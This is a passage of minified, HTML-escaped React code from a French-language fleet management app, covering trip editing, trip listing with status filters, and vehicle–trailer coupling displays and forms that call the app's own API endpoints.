A={vehicleId:parseInt(l.vehicleId),trailerId:l.trailerId&amp;&amp;l.trailerId!==&quot;none&quot;?parseInt(l.trailerId):void 0,origine:l.origine,destination:l.destination,dateDepart:new Date(l.dateDepart),dateArrivee:l.dateArrivee?new Date(l.dateArrivee):void 0,status:l.status};o?.(e.id,{trip:A,crewMemberIds:l.crewMemberIds.length&gt;0?l.crewMemberIds:void 0}),s(!1)},h=p=&gt;{c(A=&gt;({...A,crewMemberIds:A.crewMemberIds.includes(p)?A.crewMemberIds.filter(y=&gt;y!==p):[...A.crewMemberIds,p]}))};return e?a.jsx(En,{open:i,onOpenChange:s,children:a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Modifier le voyage&quot;}),a.jsxs(Mn,{children:[&quot;Modifiez les détails du voyage &quot;,e.origine,&quot; → &quot;,e.destination,&quot;.&quot;]})]}),a.jsxs(&quot;form&quot;,{onSubmit:u,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;vehicle&quot;,children:[&quot;Véhicule &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:l.vehicleId,onValueChange:p=&gt;c({...l,vehicleId:p}),required:!0,children:[a.jsx(Xr,{id:&quot;vehicle&quot;,&quot;data-testid&quot;:&quot;select-vehicle&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un véhicule&quot;})}),a.jsx(en,{children:t.map(p=&gt;a.jsx(Qt,{value:p.id.toString(),children:p.immatriculation},p.id))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;origine&quot;,children:[&quot;Départ &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;origine&quot;,placeholder:&quot;Ouagadougou&quot;,value:l.origine,onChange:p=&gt;c({...l,origine:p.target.value}),required:!0,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-origin&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;destination&quot;,children:[&quot;Destination &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;destination&quot;,placeholder:&quot;Lomé&quot;,value:l.destination,onChange:p=&gt;c({...l,destination:p.target.value}),required:!0,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-destination&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;trailer&quot;,children:&quot;Remorque&quot;}),a.jsxs(rn,{value:l.trailerId||&quot;none&quot;,onValueChange:p=&gt;c({...l,trailerId:p===&quot;none&quot;?&quot;&quot;:p}),children:[a.jsx(Xr,{id:&quot;trailer&quot;,&quot;data-testid&quot;:&quot;select-trailer&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Aucune remorque&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;none&quot;,children:&quot;Aucune remorque&quot;}),r.map(p=&gt;a.jsxs(Qt,{value:p.id.toString(),children:[p.numeroChassis,&quot; (&quot;,p.type,&quot;)&quot;]},p.id))]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Chauffeurs&quot;}),a.jsx(&quot;div&quot;,{className:&quot;border rounded-md p-3 max-h-48 overflow-y-auto space-y-2&quot;,children:n.length===0?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Aucun chauffeur disponible&quot;}):n.map(p=&gt;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center space-x-2&quot;,children:[a.jsx(S1,{id:`crew-${p.id}`,checked:l.crewMemberIds.includes(p.id),onCheckedChange:()=&gt;h(p.id),&quot;data-testid&quot;:`checkbox-crew-${p.id}`}),a.jsxs(Se,{htmlFor:`crew-${p.id}`,className:&quot;text-sm font-normal cursor-pointer flex-1&quot;,children:[p.prenom,&quot; &quot;,p.nom,&quot; (&quot;,p.role===&quot;chauffeur&quot;?&quot;Chauffeur&quot;:&quot;Apprenti&quot;,&quot;)&quot;]})]},p.id))})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;dateDepart&quot;,children:[&quot;Départ &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;dateDepart&quot;,type:&quot;datetime-local&quot;,value:l.dateDepart,onChange:p=&gt;c({...l,dateDepart:p.target.value}),required:!0,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-departure&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;dateArrivee&quot;,children:&quot;Arrivée prévue&quot;}),a.jsx(Xe,{id:&quot;dateArrivee&quot;,type:&quot;datetime-local&quot;,value:l.dateArrivee,onChange:p=&gt;c({...l,dateArrivee:p.target.value}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-arrival&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;status&quot;,children:&quot;Statut&quot;}),a.jsxs(rn,{value:l.status,onValueChange:p=&gt;c({...l,status:p}),children:[a.jsx(Xr,{id:&quot;status&quot;,&quot;data-testid&quot;:&quot;select-status&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un statut&quot;})}),a.jsx(en,{children:une.map(p=&gt;a.jsx(Qt,{value:p,children:Jze[p]||p},p))})]})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;s(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Enregistrer&quot;})]})]})]})}):null}function np({onClick:e,label:t,className:r}){return a.jsx(vm,{children:a.jsxs(iy,{children:[a.jsx(ay,{asChild:!0,children:a.jsx(ge,{onClick:e,size:&quot;lg&quot;,className:nr(&quot;fixed bottom-20 md:bottom-8 right-4 md:right-8 z-40&quot;,&quot;h-16 w-16 md:h-14 md:w-14 rounded-full shadow-lg&quot;,&quot;hover:shadow-xl transition-all hover:scale-110 active:scale-95&quot;,r),&quot;data-testid&quot;:&quot;fab-button&quot;,&quot;aria-label&quot;:t,children:a.jsx(Ti,{className:&quot;h-7 w-7 md:h-6 md:w-6&quot;})})}),t&amp;&amp;a.jsx(V1,{side:&quot;left&quot;,className:&quot;md:block hidden&quot;,children:a.jsx(&quot;p&quot;,{children:t})})]})})}function e$e(){const[e,t]=I.useState(&quot;&quot;),[r,n]=I.useState(&quot;all&quot;),[i,s]=I.useState(null),[o,l]=I.useState(!1),[c,d]=I.useState(null),{toast:u}=Er(),{data:h=[],isLoading:p}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:A=[]}=cr({queryKey:[&quot;/api/trailers&quot;]}),{data:y=[]}=cr({queryKey:[&quot;/api/crew-members&quot;]}),{data:v=[],isLoading:w}=cr({queryKey:[&quot;/api/trips&quot;]}),{data:j=[],isLoading:E}=cr({queryKey:[&quot;/api/breakdowns&quot;],queryFn:()=&gt;T8()}),S=I.useMemo(()=&gt;new Set(j.map(W=&gt;W.vehicleId)),[j]),_=kO({queries:v.map(W=&gt;({queryKey:[&quot;/api/trips&quot;,W.id.toString(),&quot;crew&quot;],queryFn:um({on401:&quot;throw&quot;}),enabled:v.length&gt;0}))}),C=I.useMemo(()=&gt;{const W=new Map;return _.forEach((G,J)=&gt;{G.data&amp;&amp;v[J]&amp;&amp;W.set(v[J].id,G.data)}),W},[_,v]),Q=_r({mutationFn:async({id:W,data:G})=&gt;{await $t(`/api/trips/${W}`,{method:&quot;PATCH&quot;,body:G.trip}),G.crewMemberIds!==void 0&amp;&amp;await $t(`/api/trips/${W}/crew`,{method:&quot;POST&quot;,body:{crewMemberIds:G.crewMemberIds||[]}})},onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/trips&quot;]}),u({title:&quot;Succès&quot;,description:&quot;Le voyage a été modifié avec succès&quot;}),l(!1),s(null)},onError:W=&gt;{u({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:W.message||&quot;Impossible de modifier le voyage&quot;})}}),R=_r({mutationFn:async W=&gt;await $t(`/api/trips/${W}`,{method:&quot;DELETE&quot;}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/trips&quot;]}),u({title:&quot;Succès&quot;,description:&quot;Le voyage a été supprimé avec succès&quot;}),d(null)},onError:W=&gt;{u({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:W.message||&quot;Impossible de supprimer le voyage&quot;})}}),M=I.useMemo(()=&gt;v.map(W=&gt;{const G=h.find(V=&gt;V.id===W.vehicleId),q=(C.get(W.id)||[]).find(V=&gt;V.role===&quot;chauffeur&quot;),ee=q,ne=G?S.has(G.id):!1;return{...W,vehicleRegistration:G?.immatriculation||&quot;&quot;,vehiclePhotoUrl:G?.photoUrl||null,driverPhotoUrl:ee?.photoUrl||null,driverName:q?`${q.prenom} ${q.nom}`:void 0,hasBreakdown:ne}}),[v,h,C,S]).filter(W=&gt;{const G=W.vehicleRegistration.toLowerCase().includes(e.toLowerCase())||W.origine.toLowerCase().includes(e.toLowerCase())||W.destination.toLowerCase().includes(e.toLowerCase()),J=r===&quot;all&quot;||W.status===r;return G&amp;&amp;J}),O=W=&gt;{const G=v.find(J=&gt;J.id===W);G&amp;&amp;(s(G),l(!0))},$=(W,G)=&gt;{Q.mutate({id:W,data:G})},P=W=&gt;{d(W)},L=()=&gt;{c&amp;&amp;R.mutate(c)},X=p||w||E;return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 md:space-y-6 pb-20 md:pb-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row md:items-start md:justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-xl md:text-2xl font-semibold&quot;,&quot;data-testid&quot;:&quot;text-page-title&quot;,children:&quot;Voyages&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Suivez et gérez vos voyages&quot;})]}),a.jsx(jm,{href:&quot;/trajets/new&quot;,children:a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-trip&quot;,className:&quot;w-full md:w-auto&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter un trajet&quot;]})})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row items-stretch md:items-center gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative flex-1&quot;,children:[a.jsx(rf,{className:&quot;absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground&quot;}),a.jsx(Xe,{placeholder:&quot;Rechercher...&quot;,value:e,onChange:W=&gt;t(W.target.value),className:&quot;pl-9 h-12&quot;,&quot;data-testid&quot;:&quot;input-search&quot;})]}),a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;outline&quot;,className:&quot;h-12 w-12 flex-shrink-0 hidden md:flex&quot;,&quot;data-testid&quot;:&quot;button-view-grid&quot;,children:a.jsx(pL,{className:&quot;h-5 w-5&quot;})})]}),X?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(a.Fragment,{children:[a.jsxs(ul,{value:r,onValueChange:n,className:&quot;space-y-4&quot;,children:[a.jsxs(Ro,{className:&quot;w-full grid grid-cols-4&quot;,children:[a.jsx(hn,{value:&quot;all&quot;,&quot;data-testid&quot;:&quot;filter-all&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;Tous&quot;}),a.jsx(hn,{value:&quot;scheduled&quot;,&quot;data-testid&quot;:&quot;filter-scheduled&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;Programmé&quot;}),a.jsx(hn,{value:&quot;in_transit&quot;,&quot;data-testid&quot;:&quot;filter-in-transit&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;En cours&quot;}),a.jsx(hn,{value:&quot;completed&quot;,&quot;data-testid&quot;:&quot;filter-completed&quot;,className:&quot;text-xs md:text-sm&quot;,children:&quot;Terminé&quot;})]}),a.jsx(dn,{value:r,className:&quot;mt-0&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4&quot;,children:M.map(W=&gt;a.jsx(KPe,{...W,dateArrivee:W.dateArrivee??void 0,vehiclePhotoUrl:W.vehiclePhotoUrl,driverPhotoUrl:W.driverPhotoUrl,driverName:W.driverName,onEdit:O,onDelete:P},W.id))})})]}),M.length===0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-center py-12&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucun voyage trouvé&quot;})})]}),a.jsx(np,{onClick:()=&gt;{window.location.href=&quot;/trajets/new&quot;},label:&quot;Ajouter un voyage&quot;}),a.jsx(Xze,{trip:i,vehicles:h,trailers:A,crewMembers:y,open:o,onOpenChange:l,onUpdate:$}),a.jsx(du,{open:c!==null,onOpenChange:()=&gt;d(null),children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:&quot;Confirmer la suppression&quot;}),a.jsx(Cc,{children:&quot;Êtes-vous sûr de vouloir supprimer ce voyage ? Cette action est irréversible.&quot;})]}),a.jsxs(wc,{children:[a.jsx(jc,{children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:L,children:&quot;Supprimer&quot;})]})]})})]})}async function t$e(){return await $t(&quot;/api/couplings&quot;)}async function r$e(e){try{return await $t(`/api/couplings/vehicle/${e}`)}catch(t){if(t instanceof Error&amp;&amp;(t.message.includes(&quot;404&quot;)||t.message.includes(&quot;Not Found&quot;)))return null;throw t}}async function n$e(e){return await $t(&quot;/api/couplings&quot;,{method:&quot;POST&quot;,body:e})}async function i$e(e,t){return await $t(`/api/couplings/${e}`,{method:&quot;PATCH&quot;,body:t?{endAt:t.toISOString()}:{}})}function pne(){return cr({queryKey:[&quot;/api/couplings&quot;],queryFn:t$e})}function k_(e){return cr({queryKey:e?[&quot;/api/couplings/vehicle&quot;,e.toString()]:[],queryFn:()=&gt;e?r$e(e):Promise.resolve(null),enabled:!!e})}function a$e(){const{toast:e}=Er();return _r({mutationFn:t=&gt;n$e(t),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/couplings&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/couplings/history&quot;]}),e({title:&quot;Succès&quot;,description:&quot;L&#039;attelage a été créé avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de créer l&#039;attelage&quot;})}})}function s$e(){const{toast:e}=Er();return _r({mutationFn:({id:t,endAt:r})=&gt;i$e(t,r),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/couplings&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/couplings/history&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/couplings&quot;]}),e({title:&quot;Succès&quot;,description:&quot;L&#039;attelage a été détaché avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de détacher l&#039;attelage&quot;})}})}const o$e={plateau:&quot;Plateau&quot;,citerne:&quot;Citerne&quot;,benne:&quot;Benne&quot;,frigorifique:&quot;Frigorifique&quot;,autre:&quot;Autre&quot;};function __({vehicle:e,trailer:t,isFromCoupling:r=!1}){const n=t?.photoUrl||(t?.type?tf[t.type]:tf.autre);return a.jsx(it,{className:&quot;p-4 bg-muted/30 border-2&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center gap-3&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;text-sm font-semibold w-full text-center&quot;,children:&quot;Attelage pour ce voyage&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row items-center gap-4 w-full&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex-1 w-full md:w-auto min-w-0&quot;,children:e?a.jsxs(a.Fragment,{children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-lg bg-muted border-2 border-border&quot;,children:[e.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(e.photoUrl)||void 0,alt:`Véhicule ${e.immatriculation}`,className:&quot;w-full h-full object-cover&quot;,onError:i=&gt;{i.target.style.display=&quot;none&quot;}}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center bg-muted&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-4xl mb-2&quot;,children:&quot;🚚&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Pas de photo&quot;})]})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;font-mono font-semibold text-xs px-2 py-1 bg-background/95 backdrop-blur-sm shadow-md border&quot;,children:e.immatriculation})})]}),a.jsxs(&quot;div&quot;,{className:&quot;mt-2 text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold truncate&quot;,children:e.immatriculation}),(e.marque||e.modele)&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:[e.marque,&quot; &quot;,e.modele]})]})]}):a.jsx(&quot;div&quot;,{className:&quot;w-full aspect-video rounded-lg bg-muted/50 border-2 border-dashed border-muted-foreground/30 flex items-center justify-center&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground text-center px-2&quot;,children:&quot;Sélectionnez un véhicule&quot;})})}),a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 flex items-center justify-center&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative flex items-center justify-center&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;hidden md:block w-16 h-2 bg-primary/40 rounded-full&quot;}),a.jsx(&quot;div&quot;,{className:&quot;block md:hidden w-2 h-16 bg-primary/40 rounded-full&quot;}),a.jsx(&quot;div&quot;,{className:&quot;absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2 z-10&quot;,children:e&amp;&amp;t?a.jsx(yt,{variant:&quot;default&quot;,className:&quot;bg-primary text-primary-foreground px-3 py-1.5 text-xs font-semibold shadow-lg border-2 border-background&quot;,children:&quot;🔗 Attelé&quot;}):a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-background text-muted-foreground px-3 py-1.5 text-xs font-semibold border-2&quot;,children:&quot;—&quot;})})]})}),a.jsx(&quot;div&quot;,{className:&quot;flex-1 w-full md:w-auto min-w-0&quot;,children:t?a.jsxs(a.Fragment,{children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-lg bg-muted border-2 border-border&quot;,children:[a.jsx(&quot;img&quot;,{src:Sr(n)||void 0,alt:`Remorque ${t.numeroChassis}`,className:&quot;w-full h-full object-cover&quot;,onError:i=&gt;{i.target.style.display=&quot;none&quot;}}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;font-mono font-semibold text-xs px-2 py-1 bg-background/95 backdrop-blur-sm shadow-md border&quot;,children:t.numeroChassis})})]}),a.jsxs(&quot;div&quot;,{className:&quot;mt-2 text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold truncate&quot;,children:t.numeroChassis}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 mt-1&quot;,children:[a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:o$e[t.type]||t.type}),t.capacite&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[t.capacite,&quot;t&quot;]})]})]})]}):a.jsxs(&quot;div&quot;,{className:&quot;w-full aspect-video rounded-lg bg-muted/50 border-2 border-dashed border-muted-foreground/30 flex flex-col items-center justify-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-3xl mb-2 opacity-50&quot;,children:&quot;🚛&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground text-center px-2&quot;,children:e?&quot;Aucune remorque attelée — sélectionnez-en une ci-dessous&quot;:&quot;Aucune remorque&quot;})]})})]}),r&amp;&amp;e&amp;&amp;t&amp;&amp;a.jsx(vm,{children:a.jsxs(iy,{children:[a.jsx(ay,{asChild:!0,children:a.jsx(&quot;div&quot;,{className:&quot;w-full mt-2&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs w-full justify-center bg-[#8B5CF6]/20 text-[#8B5CF6] border-[#8B5CF6]/30 hover:bg-[#8B5CF6]/30 cursor-help&quot;,children:&quot;💜 Remorque attelée automatiquement&quot;})})}),a.jsx(V1,{children:a.jsx(&quot;p&quot;,{children:&quot;Pour changer de remorque, modifiez l&#039;attelage depuis la page Attelages.&quot;})})]})})]})})}const l$e={chauffeur:&quot;Chauffeur&quot;,apprenti:&quot;Apprenti&quot;},c$e=e=&gt;{const t=(e.nom||&quot;&quot;).toLowerCase(),r=(e.modele||&quot;&quot;).toLowerCase();return t.includes(&quot;tracteur&quot;)||t.includes(&quot;tractor&quot;)||r.includes(&quot;tracteur&quot;)||r.includes(&quot;tractor&quot;)};function u$e(){const[,e]=Gi(),{toast:t}=Er(),[r,n]=I.useState({missionId:null,vehicleId:null,trailerId:null,crewMemberIds:[],origine:&quot;&quot;,destination:&quot;&quot;,dateDepart:&quot;&quot;,dateArrivee:&quot;&quot;}),[i,s]=I.useState(!1),o=I.useRef(null),{data:l=[],isLoading:c}=Vw(),{data:d,isLoading:u}=D8(r.missionId||0),{data:h=[],isLoading:p}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:A=[]}=cr({queryKey:[&quot;/api/trips&quot;]}),{data:y=[],isLoading:v}=cr({queryKey:[&quot;/api/crew-members&quot;]});cr({queryKey:[&quot;/api/trips&quot;],enabled:A.length&gt;0&amp;&amp;r.vehicleId!==null});const{data:w,isLoading:j}=k_(r.vehicleId),E=I.useMemo(()=&gt;{if(!h.length||!A.length)return h;const G=new Map;return A.forEach(J=&gt;{const q=G.get(J.vehicleId)||{count:0,lastUsed:null};G.set(J.vehicleId,{count:q.count+1,lastUsed:q.lastUsed?new Date(J.dateDepart)&gt;q.lastUsed?new Date(J.dateDepart):q.lastUsed:new Date(J.dateDepart)})}),[...h].sort((J,q)=&gt;{const ee=G.get(J.id),ne=G.get(q.id);if(!ee&amp;&amp;ne)return-1;if(ee&amp;&amp;!ne)return 1;if(!ee&amp;&amp;!ne)return 0;if(ee&amp;&amp;ne){if(ee.lastUsed&amp;&amp;ne.lastUsed)return ne.lastUsed.getTime()-ee.lastUsed.getTime();if(ee.lastUsed)return-1;if(ne.lastUsed)return 1}return 0})},[h,A]),S=I.useMemo(()=&gt;{if(!r.vehicleId||!y.length||!A.length)return y;const G=A.filter(ee=&gt;ee.vehicleId===r.vehicleId),J=[],q=[];return y.forEach(ee=&gt;{G.length&gt;0?J.push(ee):q.push(ee)}),[...J,...q]},[y,A,r.vehicleId]),_=I.useMemo(()=&gt;{const G=new Set;return A.forEach(J=&gt;{J.origine&amp;&amp;G.add(J.origine),J.destination&amp;&amp;G.add(J.destination)}),Array.from(G).sort()},[A]);I.useEffect(()=&gt;{if(selectedMission&amp;&amp;r.missionId){selectedMission.vehicleId&amp;&amp;!r.vehicleId&amp;&amp;n(J=&gt;({...J,vehicleId:selectedMission.vehicleId})),selectedMission.trailerId&amp;&amp;!r.trailerId&amp;&amp;n(J=&gt;({...J,trailerId:selectedMission.trailerId||null}));const G=[];selectedMission.mainDriver?.id&amp;&amp;G.push(selectedMission.mainDriver.id),selectedMission.additionalCrew&amp;&amp;selectedMission.additionalCrew.length&gt;0&amp;&amp;selectedMission.additionalCrew.forEach(J=&gt;{J.id&amp;&amp;!G.includes(J.id)&amp;&amp;G.push(J.id)}),G.length&gt;0&amp;&amp;JSON.stringify(r.crewMemberIds.sort())!==JSON.stringify(G.sort())&amp;&amp;n(J=&gt;({...J,crewMemberIds:G})),selectedMission.loadingSite&amp;&amp;!r.origine&amp;&amp;n(J=&gt;({...J,origine:selectedMission.loadingSite})),selectedMission.unloadingSite&amp;&amp;!r.destination&amp;&amp;n(J=&gt;({...J,destination:selectedMission.unloadingSite}))}},[selectedMission,r.missionId]),I.useEffect(()=&gt;{const G=r.vehicleId!==o.current,J=r.vehicleId;if(G&amp;&amp;(o.current=J),!r.missionId&amp;&amp;J&amp;&amp;w){w.trailer?.id&amp;&amp;(r.trailerId!==w.trailer.id||G)&amp;&amp;(n(ee=&gt;({...ee,trailerId:w.trailer.id})),s(!0));const q=[];w.chauffeur?.id&amp;&amp;q.push(w.chauffeur.id),w.apprentis&amp;&amp;Array.isArray(w.apprentis)&amp;&amp;w.apprentis.forEach(ee=&gt;{ee?.id&amp;&amp;q.push(ee.id)}),(G||JSON.stringify(r.crewMemberIds.sort())!==JSON.stringify(q.sort()))&amp;&amp;n(ee=&gt;({...ee,crewMemberIds:q}))}else J&amp;&amp;!w&amp;&amp;G?j===!1&amp;&amp;(n(q=&gt;({...q,trailerId:null,crewMemberIds:[]})),s(!1)):J||(n(q=&gt;({...q,trailerId:null,crewMemberIds:[]})),s(!1))},[r.vehicleId,w,j]);const C=I.useMemo(()=&gt;{const G=[];if(r.missionId||G.push(&quot;MISSION_REQUIRED&quot;),r.vehicleId||G.push(&quot;Véhicule requis&quot;),r.origine?.trim()||G.push(&quot;Départ requis&quot;),r.destination?.trim()||G.push(&quot;Destination requise&quot;),!r.dateDepart)G.push(&quot;Date de départ requise&quot;);else{const J=new Date(r.dateDepart);isNaN(J.getTime())&amp;&amp;G.push(&quot;Date de départ invalide&quot;)}if(r.dateArrivee){const J=new Date(r.dateArrivee),q=new Date(r.dateDepart);!isNaN(J.getTime())&amp;&amp;!isNaN(q.getTime())&amp;&amp;J&lt;q&amp;&amp;G.push(&quot;La date d&#039;arrivée doit être après la date de départ&quot;)}if(r.crewMemberIds.length===0&amp;&amp;G.push(&quot;Au moins un chauffeur requis&quot;),r.vehicleId){const J=h.find(q=&gt;q.id===r.vehicleId);J&amp;&amp;c$e(J)&amp;&amp;!w?.trailer&amp;&amp;!r.trailerId&amp;&amp;G.push(&quot;TRACTEUR_SANS_REMORQUE&quot;)}return G},[r,h,w]),Q=C.length===0,R=_r({mutationFn:async G=&gt;{const q=await $t(&quot;/api/trips&quot;,{method:&quot;POST&quot;,body:G.trip});return G.crewMemberIds&amp;&amp;G.crewMemberIds.length&gt;0&amp;&amp;await $t(`/api/trips/${q.id}/crew`,{method:&quot;POST&quot;,body:{crewMemberIds:G.crewMemberIds}}),q},onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/trips&quot;]}),t({title:&quot;Succès&quot;,description:&quot;Le voyage a été créé avec succès&quot;}),e(&quot;/trajets&quot;)},onError:G=&gt;{t({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:G.message||&quot;Impossible de créer le voyage&quot;})}}),T=G=&gt;{n(J=&gt;({...J,vehicleId:G})),s(!1)},M=G=&gt;{n(J=&gt;({...J,crewMemberIds:J.crewMemberIds.includes(G)?J.crewMemberIds.filter(q=&gt;q!==G):[...J.crewMemberIds,G]}))},O=G=&gt;{if(G.preventDefault(),!Q){const ee=C.find(V=&gt;V===&quot;MISSION_REQUIRED&quot;),ne=C.find(V=&gt;V===&quot;TRACTEUR_SANS_REMORQUE&quot;);t(ee?{variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Chaque voyage doit être rattaché à une mission. Créez d&#039;abord une mission, puis ajoutez des voyages à cette mission.&quot;}:ne?{variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Ce véhicule nécessite une remorque. Allez dans Attelages pour en atteler une.&quot;}:{variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:C[0]||&quot;Veuillez remplir tous les champs obligatoires&quot;});return}const J=w?.trailer?.id||r.trailerId||void 0,q={missionId:r.missionId,vehicleId:r.vehicleId,trailerId:J,origine:r.origine,destination:r.destination,dateDepart:new Date(r.dateDepart),dateArrivee:r.dateArrivee?new 